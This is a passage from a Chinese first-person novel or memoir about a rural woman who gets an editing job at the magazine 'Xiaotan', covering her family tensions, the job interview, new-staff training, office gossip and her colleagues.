1.初到《小坛》


    我妹妹怀二胎的时候，她自己很忐忑，害怕又是个女孩儿。


    她打电话跟我说：“姐，你说我怎么又怀上了的？”


    我说：“恁自己的事儿，你还问我的？恁怎么又怀上的？耶稣让恁怀上的？”


    她说：“你说，我这回还是女孩儿吧？”


    我说：“我也不知道。男孩儿女孩儿都好。”


    我妹妹说：“可别又是个女孩儿吧。大响家基因不好。他爸爸三代单传，他妈妈就生了四个女孩儿，才生了大响。”


    我说：“没事儿。你就算生四个女孩儿，恁老婆婆也不能说你什么。她家就这个基因，她又不是不知道。”


    我妹妹说：“我怕又是个女孩，我都不想留的，我想流掉的，俺老婆婆叫留着的。”


    我说：“那就留着呗。男孩儿女孩儿都是你的小孩儿，都一样疼。咱妈不是说过吗？不要流产，小孩儿都是投爷奔娘来的。来了就是跟你有缘分。你现在就是好好养胎，顺顺利利地把她生下来。现在是第二个，应该好生一点吧。”


    她说：“嗯，我第一胎怀雪寒的时候不怎么能吃，生第一胎也没费什么劲儿。”


    我说：“小妹，你生孩子的时候，谁陪着你的？咱妈没去啊？”


    她说：“咱妈没去。俺老婆婆陪我去的。当时是夜里，我肚子疼，大响，俺老婆婆，陪着我去的。就去青羊山医院。那个医生，我给叫嫂子。她让我先等着。我疼地受不了了，我说，‘不行，我得去生去！’我就自己爬上那个架子，没过多大会儿，就生出来了。雪寒生出来就小，给抱到保温箱里了。俺老婆婆一直怪我，嫌我不能吃。生的小孩身体也弱。”


    我说：“可多孕妇都这样。孕吐。你那时候实在吃不下，那也没办法。”


    她说：“就是的。我那时候吃了就吐。喝点水都觉得恶心。”


    我说：“先不说了小妹，我明天要去找工作了。我得准备准备。我想去青羊街上拉个头发去。”


    小妹说：“你来青羊山啊，那你要我去陪着你说话吗？”


    我说：“不用了。我随便找个店拉一下头发就回来了。你怀着孕到哪都不方便。你搁家好好休息吧。”


    小妹说：“行，你去吧。头发还是拉直了好看。青羊山这里的女的，都把头发拉地梯直。可好看了。我怀着孕，不能拉。”


    我去镇上花了五十块钱拉了头发。


    妈妈从山上干活儿回来了，她看到了我变了样儿的头发，就问我说：“花了多少钱啊？”


    我说：“五十。”


    我妈妈说：“恁么贵。”


    第二天，我带着自己的材料，坐上了汽车去徐县应聘。我妈妈见我去找工作，心情很好。


    我到了那里，拿着资料排队，等人家审核。还没排到我的时候，就听到前面的人说：“要汉语言专业的”。我心里想，我不是汉语言专业的，那不是没有希望了。


    等到了我，审核的人说：“对不起啊，你这个专业不对口，我们要汉语言专业的。你这个专业不符合啊。”我只好把自己的材料收起来，去公交站台，等车回家。


    我到了家，心情有点不好，但我知道，找工作的事，不是一蹴而就的，一次不成功也很正常。我就去到压水井那里，打水洗衣服。


    我到家不一会儿的功夫，我妈妈从山上回来了。


    “怎么样了？”她用期待的语气说。


    “没成，专业不对口。”我说。


    我妈妈不言语了。显然，她的心情很不好。


    “起来！”她说，“我要过去打水！你怎么天天洗衣裳的？天天洗！天天洗！”


    我赶紧给她让路，她去压水井那里打了水去添锅。


    “你去徐县，车票是多少啊？”我弟弟问我。


    “十七。”我说。


    “俺去都是十五。你怎么给的恁么多的？”他问我。


    “不知道啊，一车子人，人家卖票的就是按照路程收费的。”


    “同样是去徐县，俺去只要十五，你去就得十七。你有钱，你钱真多。”他说。


    “哪事儿哎，人家要恁么多，我能不给啊？”我说。


    “你给是的！人家要多少，你就给多少！人家要，你就给！”他说。


    “你不存财儿，还是人家鸿雁存财儿。小时候就那样，人家鸿雁有点儿钱就攒着，你不知道攒钱，有点儿钱就去买糖疙瘩吃。”我妈妈说。


    “小时候能有多少钱啊。一毛两毛的，值当的嘛。”我说。


    “从小看大，三岁看老。人家鸿雁就是比你会存钱。”我妈妈说。


    我这个人自尊心很强，也很敏感。那一刻，我感受到了我妈妈的鄙视和不耐烦。那一刻，一口气，还有一包眼泪，一起憋在我的心里。那口气，是好事也是坏事。它让你产生了强烈的冲动，想要走出去。可是，冲动之下的选择，往往是仓促而草率的。那一刻，我特别想有个工作，好让我赶紧离开这个家。我是充分体会到了，一个人没本事的时候，是连亲人都会看不起你的。


    我在网上浏览，无意中看到金河市青提区《小坛》杂志社的招聘信息，我就报了名。报名的那天，我到了青提区文化局人事科。一群人等着报名。乌泱泱的。人事科科长坐在那儿，她说不上是出于冷漠还是不耐烦，反正是表情严肃，一头短发，穿着绿裙衣。


    “准备的怎么样？”一个女生问另一个女生。


    “我也不知道。我就来试试。”那个女生说。


    我想，妹子，你还嫩着呢。不能说“试”，你说“试”肯定过不了。我以前也“试”过。这次，老姐姐我，是来争的，来抢的。


    “报名考试要钱吗？”人群里有人问。


    “不知道啊。先准备好吧。”有人说。


    于是，大家都从包里掏出来一张张红色的钱币。


    “给！给！报名费！报名费！”大家把人事科科长给围了起来。她面前的桌子上瞬间落下了许多粉红色的纸片。


    “不要吵！没人要你们的钱！”人事科科长不耐烦地说。她把那个“钱”字碾在舌头上踩了又踩。大家又纷纷把那张放下的粉红色的纸片捡起来。


    到了面试的日子，我自己坐车到了青提区。大家先抓阄，选了自己的号。我是3号。我们被带到一间空的会议室里坐着等待。带着题目的一张纸发了下来，我坐在自己的位子上天昏地暗地写着，写地眼前发黑。我一口气写完，看看我的手稿，我写地很快很潦草，我的字不好，如果是单单看字，或是把书写当作加分项的话，我肯定是不会过关的。


    很快就到我了。“3号！”有人喊我说。我拿着自己的手稿走进了面试的会议室。面试的阵容很庞大，最后一排，面对着我坐着的，是好几位从外地请来的中年考官。坐在两旁的，是负责核算分数的一群年轻人。面试的环节很透明，面试的内容也很简单，先是说说自己的打算，这个我早有模版，背得很是熟练。


    “尊敬的评委老师：上午好！我是3号选手，今天我演讲的题目是：《红烛》。苏霍姆林斯基说过，在每一个人的心灵深处，都有一种需要，那就是希望自己是一个发现者、研究者、探索者……”


    接下来是朗读戴望舒的《雨巷》。我面前的桌子上，有一张白纸。我拿起来就读，我拉着长腔儿，尽可能婉转悠扬地去读：


    撑着油纸伞，独自


    彷徨在悠长、悠长


    又寂寥的雨巷


    我希望逢着


    一个丁香一样地


    结着愁怨的姑娘


    她是有


    丁香一样的颜色


    丁香一样的芬芳


    丁香一样的忧愁


    在雨中哀怨


    哀怨又彷徨


    她彷徨在这寂寥的雨巷


    撑着油纸伞


    像我一样


    像我一样地


    默默彳亍着


    “彳亍”怎么读，我不知道，我迅速地扫了一下页面底端，那儿居然有注释，念chì chù。我嘴里立刻跟上：


    “彳亍着


    冷漠、凄清，又惆怅。”


    整个过程，坐在我对面正中间的那个穿着蓝色汗衫的中年考官都在微笑着。他五十岁左右，瘦长的身材，瘦长的脸，他笑笑地看着我。我知道我大概能被《小坛》杂志社录用了。


    其实，那时候的我，无论是回答问题的样子，还是回答问题的内容，一切都还很懵懂。可是，那时候，大家也都很懵懂。没有借助任何多媒体，没有什么花样儿。一切都是最朴素的样子。我喜欢那样的朴素。


    那群考官，按照古代科举的说法，是我的恩师了，按照古代科举的做法，我是应该拜在他们的门下，自称门生的。但是，在那次面试之后，在各种学术交流的场合，我好像再也没有见过他们。我甚至不知道他们姓啥名谁。我一个外地人，孑然一身，他们把我连根带土地接过来了。是他们一手把我栽培在青提区的。此后，我在这里生活、成长，吃了很多苦，受了很多伤，可是，我还记得他们微笑的模样。


    面试过了就是体检。那天去体检的有好几个，我们几个的体检都顺利过关了。


    一个五十岁左右的女医生问我们：“你们谁是欧阳杰啊？”


    一个黑黑的小青年说：“是我，怎么了？”


    那个女医生跟他说：“你的血压有点高，你明天再来吧，你来之前喝点醋。”


    “好的，谢谢！”那个叫欧阳杰的说。


    体检过关了，我们又去人事科科长那儿交材料。人事科科长这次微笑着，一一收齐了我们的材料。很简单，无非是毕业证、学位证，编辑资格证。


    “这样，我就算是正式的编辑了？”我问。


    “对！”她温和地笑着说。


    “我可以告诉我妈妈我有正式的工作了？”我还是不敢相信。


    “是的！”她还是温和地笑着说。


    “太好了！我马上就打电话给我妈妈！”我兴奋地说。我走在青提区的街道上。看着身旁的街道和楼房。这个地方，我以后就要在这儿工作了。我不知道这以后，他会给我多少欢乐多少惆怅。


    报道的那天，我拖着自己的行李坐高铁去了《小坛》，到了《小坛》杂志社，我把行李放在门卫室，跟门卫说了一声儿，走进了《小坛》的大门。在我身后走来的，是一个年轻漂亮的女孩子。她的父母陪伴在她身边，她的父亲高大挺拔，戴着眼镜，晒地黑黑的。她的母亲娇小怡人，披着波浪卷儿。她本人面容娇好，笑容可掬，长发及腰。而我，挺立在她的面前，粗粗壮壮，像个莽汉。


    “你是来《小坛》报道的吧？”女孩温柔地问我。


    “是的。你也是来报道的吧？”我问她。


    “嗯。我叫米娜，你呢？”女孩子问我。她好像永远是温柔的，她的声音好像永远是低低地，她的声音只停留在唇齿间，连上颚都没有到。不像我，我的声音像樵夫扛木头的号子，是历经了喉头、嗓门儿，在丹田那儿被拽上来的。


    “我叫宋大省。”我说。


    “你是哪里的呀？”她的父母问我。


    “我是余洲的。”我说。


    “余洲？余洲在哪里啊？”她说。


    “余洲在金河北面。你们是哪里的啊？”我问他们。


    “我们就是本地的。”他们说。


    “那你们可以住自己家了，真好。我还不知道住哪里呢。”我说。


    “我们住地也不近。我家在金河市里。今天早上开车到这里开了四十分钟呢。”女孩儿说，“你结婚了吗？你是自己来的吗？”她问我说。


    “我还没有对象呢。你呢？”我说。


    “我结婚了。都在家里吃了半年的软饭了。”女孩子说。她的脸上泛起了幸福的潮红，把头低下去，好像结婚是什么说不出口的事情。


    “不着急，总会找到的。还得是有车有房的。”她父亲说。


    “你父母是干嘛的啊，怎么没来陪同你啊？”她妈妈问我。


    “我妈妈没来。我家是农民。我什么都靠自己，习惯了。”我说。


    “我们这个不行。什么都是我们陪着。”女孩儿的父母温柔地看着她说。女孩子微微一笑，露出了被众星捧月的鲜花一样的笑容。


    “你是哪个大学毕业的啊？”女孩子问我。


    “余洲大学。”我说。


    “余洲大学在哪儿？”女孩儿问。


    “在余洲。”我说，“你是哪个大学毕业的啊？”


    “岚京师范大学。”女孩儿说。


    “啊？岚京师范大学，好厉害啊！”我感慨着。


    “也没有多厉害。”女孩儿说。


    我们到了《小坛》杂志社人事部，那个黑黑的欧阳杰也到了。


    “你们是今年新招聘的编辑是吗？我姓言。是专门负责接待你们的。”老言说。


    “言编辑好！”我跟他打个招呼，就把我的材料放在他的办公桌上。老言的手里，正拿着欧阳杰的材料。


    “你是欧阳杰？”老言问他。


    “是的。”


    “你89年的？”


    “对！”


    “你研究生毕业，今年才24岁啊？”老言问他。


    “是的。”


    “青年才俊啊！”老言说，“今年来的都是研究生。你们都是人才啊！”


    我们都交了自己的毕业证书和复印件给老言。我一看，人家的大学都是省城的，就我的大学很多人都没听说过。


    我笑着跟老言说：“就我出身最低了。”


    老言摆摆手说：“英雄不问出处！”


    老言问我们：“你们都是外地的吧？你们的住宿问题要安排好。你们去后勤处找乌主任吧。让他带你们去。”


    我们说：“乌主任办公室在哪儿呢？”


    老言说：“就在一楼。”


    我们找到了乌主任。乌主任是个五十多岁的老头儿。有着这个年纪特有的油光的面门儿，和微微发秃的头顶。他带着我们到了员工宿舍六楼，指给我们单间宿舍，把我们的住宿问题给就地解决了。


    我自己去门卫室把行李扛到了六楼的宿舍。宿舍里很简单，也很粗糙。一张木板床，一个散发着霉味儿的门板已经开裂的大柜子。还有一张桌子。那个大木柜子有一人多高，直通屋顶。我的行李也很简单，一个大行李袋就装下了我所有的衣衫。这以后，我就在《小坛》住下来了。我被分到了中文组，做起了编辑。


    老言通知新员工培训。我，米娜，欧阳杰，拿着会议记录的本子，都到了。培训的地方记不清是哪里了。那是一间不大的小格子间似的一个小型会议室。中间是窄窄的过道，左右各横着四五张桌子。我们坐南朝北地坐着。我习惯性地坐到了第一排，面对着主席台。台上有一男一女。女的四十多岁，短发绿罗裙，皮肤白皙，眼神犀利。我认得她是人事科科长梅宝蓝。我们这些人来青提区报名、考试，乃至于过关以后的体检，都是她一手操办的。现在，我们正式成为她手下的新员工了。我怀着无比的好感和温暖抬起下巴看着她。男的五十上下，高个子，身材瘦长，大背头油光闪亮，发际线像潮水一样退到了脑门儿上。两只双眼皮的大眼睛镶嵌在棕褐色的脸上，眼露精光，观之若鹜。对，像一只精精神神的老鹜。


    梅科长简单做了发言：“今年夏天，青提区又引进了一批优秀的编辑，大家都是各自专业里的翘楚，无论是学历，还是综合素质，都是一流的。相信各位新编辑的加入，会为青提区的编辑事业增添无限的光彩。下面，有请青提区文化局郑局长为大家培训。”郑局长点了点头。


    “好！我们开始培训了。”郑局长说，“各位同仁，大家上午好。我是郑月白。欢迎大家加入青提区编辑系统这个大家庭。大家都是来自五湖四海，为了一个共同的革命目标走到一起来了。在以后的工作中，我希望大家能做到以下几点。”


    局长的话铿锵有力，我低着头，顶着我的兵马俑似的发髻认真地记录着。


    “第一，要有使命感、荣誉感。大家作为一名光荣的人民编辑，要善始善终，忠诚于青提区的编辑事业。”郑局长说每句话每个字的时候都咬牙切齿，像是在便秘。我听地严肃认真，记地仔细。


    “第二，要有责任有担当。大家要以身作则，严格要求自己，在事业上和人格上做群众的好榜样。”郑局长穿着白色的衬衣，他的牙齿也很白很密。只是他的嗓子不是太好，大概是长期吃酒吃烟的熏陶，尽管他努力地说话，尽管他的身份给了他极大的威严和自信，尽管他努力地提高了嗓门儿，他努力地像是在便秘，可是我依然能够听出来他嗓子不是很好。不知道是不是长期地酒色伤身的缘故，我感觉他中气不是很足。他说起话来，像是一只雄赳赳气昂昂的憨老鸭。


    “第三，要清正廉洁，洁身自好。大家在做编辑的过程中要不接受别人请托，不收受他人财物。不贪恋烟酒女色。当然，最后一点主要是针对男同志来说的。”郑局长言之凿凿，言之有理，我对他肃然起敬，怀着崇高的敬意和膜拜之情。


    开工会议的那天，郑局长也来了，他在热烈地掌声中登上了主席台。郑局长跟任社长一起面南坐着，他又像当初给我们培训的时候那样，给我们发布了一通恰似便秘的演讲。


    “同志们，一个真正优秀的编辑应该是德才兼备的。在座的各位学历都很高，很多是本科学历，有的还是研究生，甚至是博士。请大家扪心自问一下，你们的德是否能配得上你们的才。《易经》有言，厚德载物。德不配位，必有灾殃。一个编辑有才而无德，那他就是个文化流氓。我之所以能够到达今天的程度，那是我几十年如一日不断修养的结果。同志们也要不断提高自身的修养，做一个不仅有才亦且有德的编辑。”


    “同志们，狭路相逢勇者胜，勇者相逢智者胜，智者相逢狂者胜。让我们在各自的工作岗位上疯起来！狂起来！动起来！”


    那时候，我觉得这个郑局长真也是克己复礼，高高在上。郑局长嘶哑着嗓子说了一番惊天地泣鬼神的理论以后就翩然离去了。


    接着，任社长在大会上隆重介绍了我们这些新来的：


    “新的一年，《小坛》杂志社又注入了新鲜的血液，我们迎来了四位优秀的编辑，他们年轻有为，充满了工作的热情和蓬勃的朝气！我相信，有了这几位新人的加盟，我们《小坛》杂志社的明天会更加辉煌！下面，我来介绍一下新来的编辑。”


    “宋大省！”


    “哗哗哗”！会场里一片热烈的掌声！我站起身来，朝着大家点头致意。


    “米娜！”会场里又是一片掌声！


    阚部长把我们几个新来的叫到一起，跟我们说：“你们几个刚刚工作，可能业务上还不是很熟练。你们今年就负责稿一阶段的审核和校对。我给你们安排了师父来带你们。等会后你们就可以去找他们了。米娜是英文组的，就跟着我，由我来带。欧阳杰，你是美术组的，您就跟着余主任。宋编辑，你是中文组的，你就跟着聂编辑学习。你们的办公室也在一起。”


    我的师父老聂是一个老员工，很爱抽烟。那时候，《小坛》还没开始明文禁烟，老聂每天在办公室吞云吐雾。他抽了烟，就把烟屁股扔在地上。每天早上，我扫地的时候，总能看到他座位前的一地烟头儿。


    一次，老聂不在，马大姐在自己的位子上转过头去，跟吴编辑愤愤地说：“你说老聂也是的，每天在办公室里抽烟，我们每天都要吸他的二手烟！太不自觉了！”


    “是的呢。”吴编辑附和着说。


    “现在人家很多单位都开始禁烟了。就他，还是在办公室里抽。自己不要命，也不管别人死活了。像我们这个岁数的，都开始保养身体了，天天跟着他吸二手烟，谁吃得消呢！”马大姐说。


    “是的呢。不为了别人，也为了自己想想啊。要是哪天挂了，还不是自己的老婆孩子跟着倒霉啊。别人谁管你啊。”吴编辑说。


    “跟他说不要在办公室里抽吧，他还说什么？你们老公不都在家里抽吗？我老公是我老公啊？你是什么东西啊！真是的！不自觉！”马大姐又骂道。


    那时，老聂不在办公室，马大姐尽情地骂着。我听着她的话暗暗发笑。


    “你说他年龄也不大，才不到四十岁。怎么看着那么老的。”马大姐说。


    “我师傅还不到四十吗？”我问她，“我以为他四十多了呢。”


    “他哪有啊，他也就七九年的吧。比你们大不了几岁。”马大姐说。


    “啊？我师傅才比我大五岁啊？”我惊叹道。


    “他那都是抽烟抽的！”马大姐说，“他跟黄温勇他们一起抽烟喝酒打牌，号称《小坛》‘八匹马’，最后熬地连发型都一样。他，老黄，老王，老余，坐在一起打牌，电灯泡照着他们的头顶，一个比一个亮！人称‘四大名旦’！”


    老聂是个光头，年龄也才三十六七岁。不知道是不是因为整日被尼古丁熏陶的缘故，他看起来比他的实际年龄要老地多。他的穿着也不怎么讲究，他有一件紫黑色的驴皮似的夹克服在他的身上挥洒着。


    他的样子，让我想到列宁。


    有一次，他穿了一件蓝白条纹的衣服，我又通过想象给他加了顶白色的□□帽子，这使他在我的印象里又像是个保加利亚人，或是斯洛伐克人。


    但是大多数时候，他看起来还是很像列宁。只是身板像，脑袋像，胡子像，肤色并不像。列宁是俄罗斯人，白俄，很白。老聂不是。他的皮肤是黧黑的，有时候，我又觉得他像是大冬天的时候，腰里捆着根山芋秧子，蹲在墙根儿晒太阳的农村老头儿。


    有一回，我师父跟我说：“小宋啊，来。这是我在网上档的论文，你全部用自己的语言来转换一下，变成一篇新的文章。”


    我按我师父的说法照做了，把那篇论文全部用我自己的语言转换。


    我师父出去倚着栏杆抽烟去了。


    他抽完一根烟就进来看一下：“嗯！很好！不错！加油！早改完早结束！”


    我在我师父的鼓励下更加干劲儿十足了，敲着键盘又是一番噼里啪啦地操作。


    我师父又出去抽烟去了。等他抽完一根烟再进来，看了看，说：“嗯，非常好！好好改吧，改好了早点下班！”然后，他又出去抽烟了。


    如是再三，等我全部改完以后，让我师父来验收。


    我师父看了以后笑着说：“就是这样，你的语言比原文还要好。以后我们就这样合作，我负责档，你负责修改。反正是老黄要的。”


    “啊？是黄副社长要的啊？”我惊讶地说。


    “嗯。我们中文组的好多人都是黄副社长工作室的成员。吴悠悠她们也是。你想加入吗？你想加入的话，你就去。反正那边也缺人手。”


    我说：“我不想加入。我怕加入以后有开不完的会，给黄社长干不完的活儿。我就想简简单单地做一个编辑。”


    那时候的我，才三十出头，还不懂世事变更，一心想着奋发有为，想为《小坛》杂志社奋斗终生。


    平时，我因为无处可去，也不知道该去哪里，就经常泡在办公室里，晚上也去。那时候，我几乎没有出过《小坛》方圆五十米的距离。


    老聂看到我经常泡在办公室，就跟我说：“小宋啊，别老是呆在办公室里，下班以后出去溜达溜达，跟男朋友一起玩去！”


    我说：“我没男朋友，也不知道去哪里玩。只好来办公室了。我第一年工作，还怕自己弄不好呢。”


    我师父笑着说：“你这样兢兢业业的，肯定没问题。”


    我还是泡在办公室，星期天也去。


    一个星期天的早上，我又在办公室里。任社长给我打电话说：“小宋，你在社里吗？”


    我说：“在。”


    他说：“你把你们办公室墙上贴着的银行账号发给我。”


    我说：“好的。”


    我立刻走到墙边儿上，很快就看到了墙上贴着的那张白纸，同时看到了一串银行的账号。我把那账号发给了任社长。


    新来的总是要值班的，值班的时候总是要到晚上十点半才能下班。


    晚上，值班结束，我拖着疲惫的身体往六楼宿舍爬的时候，遇见了美术组的王编辑。他正在下楼。他听见我上楼的脚步声，回过头来看了一眼说：“才回来啊？”我说：“是的。”他说：“就会欺负新来的！”我说：“王编辑，谢谢你能替我们新来的说句话，我真地好感动啊。我不图别的，就想现在辛苦一点，等以后我生了孩子，不能再这样绑在社里的时候，社里能对我宽松一点。”


    等我回到宿舍，洗洗刷刷，就快到十二点了。因此，那时候，最累的事就是值班了。


    一天早晨，米娜打电话跟我说：“宋大省，你能帮我值一下班吗？我外婆去世了。我要去上海。”


    我说：“好的。”


    她说：“等我回来以后，我再还给你。”


    我说：“不用了。你外婆去世了，你心情也不好。我也不知道怎么安慰你。我就帮你值个班儿吧。”


    米娜说：“那好的，谢谢你了。”


    我说：“不用谢。”


    上班这几年，在大门口儿来来去去，进进出出，见到门卫，我总是客客气气地跟他们打招呼。


    “早啊！”


    “早！”


    有那等面善的门卫师傅，我就问一下对方：“您贵姓啊？”


    对方说：“我姓陈。”


    陈师傅个子很高，年纪也就五十来岁，他穿着保安的服装，看起来真的像个警察。


    陈师傅说：“人家都看不起门卫，就宋编辑对我们客客气气的。”


    我说：“陈师傅，我也没钱，可是我们人穷志不短。谁有钱有势，咱也不去巴结谁。谁没钱没势。咱也不去排挤他。再说了，当门卫有什么不好啊？我妈妈说，在农村，想找个看大门儿的工作还不容易呢。”


    陈师傅说：“宋编辑是个实在人儿。”


    我问他：“陈师傅，您那么辛苦，每个月工资多少啊？”


    “我工资不高，才一千多，所以我做兼职。”他眼神儿坚定地说。


    “天呢，工资那么低啊。那必须做兼职啊，得养家糊口啊。陈师傅，您家几个孩子啊？”


    “我家两个女儿。”他说。


    “那蛮好的。”我说。


    后来的一天，我走到门卫室门口儿，陈师傅喊住了我。


    “小宋，我大女儿结婚了，这是喜糖！”


    “哎呀，太感谢您了，陈师傅！谢谢您啊！恭喜啊！”


    “谢谢宋编辑！”


    那时候，周师傅也在。一次，我在门口寄快递，要付钱的时候，我的零钱不够了。


    周师傅主动跟我说：“小宋，我这里有钱，你拿去用！”他说着捧出来一把硬币。周师傅的举动让我很是感动。周师傅也有五十上下，个子中等偏下一点，皮肤白白的，一脸的安顺和气。


    我说：“太不好意思了周师傅，我回头马上还给你！”


    “没事，就几块钱！”周师傅说。


    一天早上，我路过门卫室的时候，周师傅也叫住了我，他把我拉到一边，悄悄跟我说：“小宋，我要走了。”


    “啊，周师傅，你要去哪啊？”


    “我去另一个公司了。”


    “噢，那，周师傅，您保重啊。真舍不得您啊，周师傅！”


    “哎！你也保重，小宋！”


    周师傅要走了，我很失落，可是，我又有什么办法。我只是一个小小的职员，我没有什么能力，给他们安排一份好工作，给他们开高高的工资。哎！


    又一天早上，我经过门卫室的时候，陈师傅又把我叫住了。


    “小宋，我二女儿出嫁了，给你喜糖！”


    “哎呀，恭喜您啊，陈师傅！”


    “谢谢！”陈师傅说。


    中午吃饭了，我打了饭，端到一个饭桌前。马大姐和米娜也跟我坐在同一张桌上。


    “小宋今天忙吗？”马大姐问候我说。


    “今天还好的。”我边吃边说，“今天的梅干菜扣肉蛮好吃的。”


    “小宋爱吃肥肉？人家好多女孩子都不吃肥肉。”马大姐笑着说。米娜也跟着笑。


    我不知道该说什么了。


    “小宋不小了，好找对象了。”马大姐笑着说。


    “也不能急，看缘分吧。”我说，“天天忙工作，哪顾得上这个。”


    “要找对象了。女的跟男的不同。男的越老越值钱，女的越老越不值钱。男到三十正当年，女到三十少半边。男到四十一枝花，女到四十豆腐渣。你看米娜早就结婚了。你也别把心思全都放在工作上，先成家后立业。”马大姐笑眯眯地说。米娜也开心地笑着。


    我说：“我现在就想有个自己的房子。”


    马大姐笑着说：“房子有什么好的。我家有好几套房子，我都不想住了，我卖给你！”


    我说：“我刚工作，你卖给我，我也买不起啊！”


    马大姐红光满面地笑着，米娜也灿烂地笑着。她们两个有房子的人都快乐地笑着。


    “今天的青菜有点苦哈。”我说。


    “还行吧。我们都吃惯了。你不是农村的啊？”马大姐问我说。


    我说：“我是农村的啊，可是我小时候没吃过这种小青菜。我们北方都是萝卜白菜。”我放下筷子说。


    马大姐扒拉着碗里的饭说：“你吃完了？你的饭没吃完嘛，要光盘行动啊。”


    “噢，我打地有点多了，吃不完了。”我说。


    “你要吃完，不要浪费。”马大姐说。


    坐在我旁边的徐华说：“我也吃不完，食堂的大米饭，给地那么多，女同志吃不完很正常。”


    马大姐鄙夷地说：“吃不完？你不是农村的啊？还是没饿着，要是饿上十天，连青菜叶子你也不会剩。”


    饭后，我们走在回去的路上。


    前面，走着一个人。是洪峰编辑，一个老员工。


    “洪峰的心脏不好，他的心脏里头装了两个支架。他现在只能干些轻松的工作。他本来都要做部长了。”马大姐说。


    “哦。”我应声儿道。可是我心里想，《小坛》人的八卦功夫真是太可怕了，他们的眼睛跟安检扫描仪似的，人家肚子里装了两个支架，她也得给人家拿出来八卦一下。


    徐华骑上他的摩托车说：“我先走了，我中午要回家一趟。”


    马大姐说：“你的摩托车，声音怎么那么大的？该报废了！”


    “汽车给老婆开，我自己骑车！”徐华笑着说。


    徐华的摩托车咆哮着从我们的耳边飞驰而过。


    “徐华离过婚了。”马大姐说。


    “啊？你不说我都不知道。”我说。


    马大姐说：“他现在的老婆是他后来又找的，跟他又生了一个儿子。他前妻生的女儿也跟着他。”


    “哦。他是怎么离婚的？”我问。


    “他前妻嫌弃他呗，嫌他丑。他的皮肤不好，脸上疙疙瘩瘩的。”马大姐说。


    我心里想，乖乖，《小坛》人八卦的本事太厉害了，真是想起来一阵子，连你祖宗八代都能给你扒出来说道说道。太可怕！实在是太可怕了！


    行政楼的台阶下，开着一树玫红色的小花。


    我好奇地说：“咦，那是什么花啊，真好看！”


    马大姐说：“那是茶花！你不认得茶花啊？你不是农村的啊？”


    我说：“我是农村的啊，但是我从来没见过茶花，我们北方没有茶花。”


    马大姐说：“你们这些八零后，什么都不知道，什么苦都没吃过。你们是蜜罐里泡大的，我们是苦水里长大的。”


    我说：“我跟他们不一样，他们可能没吃过多少苦，我可是吃了很多苦。”


    马大姐说：“你能吃苦？你能保证每天六点四十就到社里吧？”


    我说：“社里上班时间不是七点五十吗？”


    马大姐说：“你看，你不敢保证吧。我以前评职称的时候，每天第一个到单位，六点半不到，我就到了。”


    我说：“社里没要求来那么早。否则，我也可以啊。”


    马大姐说：“你别光嘴上说说。明天，我来找个签到本。放在南门门卫那里，你到了就去门卫那里签到。我看你能不能做到。”


    我说：“我只要遵照社里的要求正常上班就行了。我没必要到门卫那里签到吧？”


    马大姐说：“你看，你就是不能吃苦。”


    我回到自己的办公室，想想马大姐的样子，真是憋了一肚子的气。可是又不敢跟她们发火。我一个新来的，敢跟她们顶嘴吗？算了，我惹不起躲得起。我决定，这以后，我中午都不去食堂吃饭了。我回我自己的宿舍去，哪怕是吃一碗泡面呢，我的内心也清清静静的，再也不受那个鸟气了。


    第二天一大早，等我去门口儿买包子的时候，我看到门卫那儿站着两个新来的保安师傅。他们的个头比先前的周师傅、陈师傅的个头儿要小一些，皮肤要白一些。两个人，站在那儿，穿着衣带着帽，显得白净细小。


    “早！”


    “早！”


    “你们是新来的吗？”我问。


    “是的！”


    “陈师傅他们走了？”


    “是的！”


    “他们都蛮好的。我还蛮想念他们的！”我说，“你贵姓啊？”


    “我姓江！”


    “哦，我以后就叫你江师傅。”


    “好的！”他说，“你贵姓啊？”


    “我姓宋！”我说。


    “那我叫你宋编辑。”


    2.老栾、老乌


    我去领个表格、A4纸，或是复印一篇文稿的时候，必要去文印室，必要经过老栾的同意。老栾那时候年近五十了，有着发胖发肿的脸和脖子，还有发福发白的胖身躯和胖屁股。


    “早啊！老栾！我来复印几篇文稿。”我跟老栾打招呼说。


    “早！小宋！来《小坛》这段时间还适应吗？”老栾说。


    “还好的。谢谢老栾关心！”我说。


    “《小坛》工作很辛苦，你们刚来的小年轻的一定要注意身体！身体是革命的本钱！你看，社里，有好几个同事，本来混地风生水起，结果一场大病，什么名利心都没有了。你的那些荣誉在疾病面前根本不值一提。身体健康是前面的一，其他的都是后面的零。”老栾说。


    我说：“没办法，我们现在就是拿健康换工作。有时候也不是自己要如何如何，是工作逼着你往前跑。你看，我现在就要准备新员工入职汇报的材料。”


    老栾说：“你们新员工要汇报工作了？你别紧张。我来跟你说说。来！宋编辑，请坐。”


    老栾为人这么热心，这么热情奔放地要给我这个新人指点迷津，我真是万分感谢。我就搬个小板凳坐在他的办公桌旁，像个小学生一样，听他给我讲新员工汇报工作的注意事项。在我的心里，他俨然是我这个职场小白最可信任的社会主义老大哥了。


    “新员工入职汇报的时候，你一定要自己戴个手表，控制好时间，时间一般是四十五分钟。记住，可以拖几分钟，但是内容不能不够。不能出现空白。”老栾说。


    我点头道：“好的。”


    “我那时候喜欢找个小卡片，把重要的容易忘记的内容记在小卡片上。这样，一旦你因为紧张出现卡壳的时候，可以看一看小卡片上的提示。”老栾说。他语气温和，绘声绘色，真像一个慈祥的大婶子。


    我说：“好的。实在不行，我就记在自己的手心儿里。我以前上学的时候，上讲台上默写单词，我就经常偷偷地把不会写的单词记在手心儿里。”


    “这个不太好。宋编辑。我们现在是正式的编辑了。就光明正大地记在小卡片上。你看人家那些主持人，手里也有小卡片。”老栾说。


    我说：“好的。”


    “汇报工作的时候，要简明扼要，不要眉毛胡子一把抓。那样什么也说不好。舍得，舍得。多则得，少则惑。哪怕你只说清楚一个问题。那你这次汇报也是成功的。你们新员工毕竟是刚入职，领导不会看你的内容有多大的容量。领导主要是看你的表达能力，逻辑思维能力。和临场发挥能力。他们看的是你的综合素质。所以，你用不着面面俱到。”老栾说。


    “好的。谢谢老栾。”我坐在老栾桌子旁边，先把他说的注意事项一一记录了下来。


    “多亏了您的指点。新员工入职汇报，我还有点紧张呢！”我说。


    “你不用紧张。你们都是凭自己的本事考到《小坛》的。千军万马过独木桥。你们能胜出，说明你们的综合素质是响当当的。我那时候一开始也紧张，后来，慢慢地就不紧张了。紧张是必然的，说明你重视。所以，即使紧张，你也不用害怕。”老栾说。


    我说：“是的，即使是失眠，也不代表结果就不好。我那时候考英语四级前一天，紧张地没睡好觉。我考研的时候，三天，有两天，紧张地没睡好觉。结果，还不是考过了。”


